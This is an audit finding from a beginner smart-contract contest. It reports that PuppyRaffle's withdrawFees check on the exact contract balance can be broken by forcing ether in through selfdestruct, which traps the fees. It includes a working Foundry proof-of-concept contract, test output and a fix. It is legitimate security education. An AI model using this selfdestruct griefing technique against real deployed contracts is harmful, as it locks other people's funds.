First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

inallhonesty

Summary

An attacker can slightly change the eth balance of the contract to break the withdrawFees function.

Vulnerability Details

The withdraw function contains the following check:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Using address(this).balance in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows:

Add this contract above PuppyRaffleTest:

contract Kill {
constructor (address target) payable {
address payable _target = payable(target);
selfdestruct(_target);
}
}

Modify setUp as follows:

function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
address mAlice = makeAddr("mAlice");
vm.deal(mAlice, 1 ether);
vm.startPrank(mAlice);
Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
vm.stopPrank();
}

Now run testWithdrawFees() - forge test --mt testWithdrawFees to get:

Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms

Any small amount sent over by a self destructing contract will make withdrawFees function unusable, leaving no other way of taking the fees out of the contract.

Impact

All fees that weren't withdrawn and all future fees are stuck in the contract.

Tools Used

Manual review

Recommendations

Avoid using address(this).balance in this way as it can easily be changed by an attacker. Properly track the totalFees and withdraw it.

function withdrawFees() external {
-- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.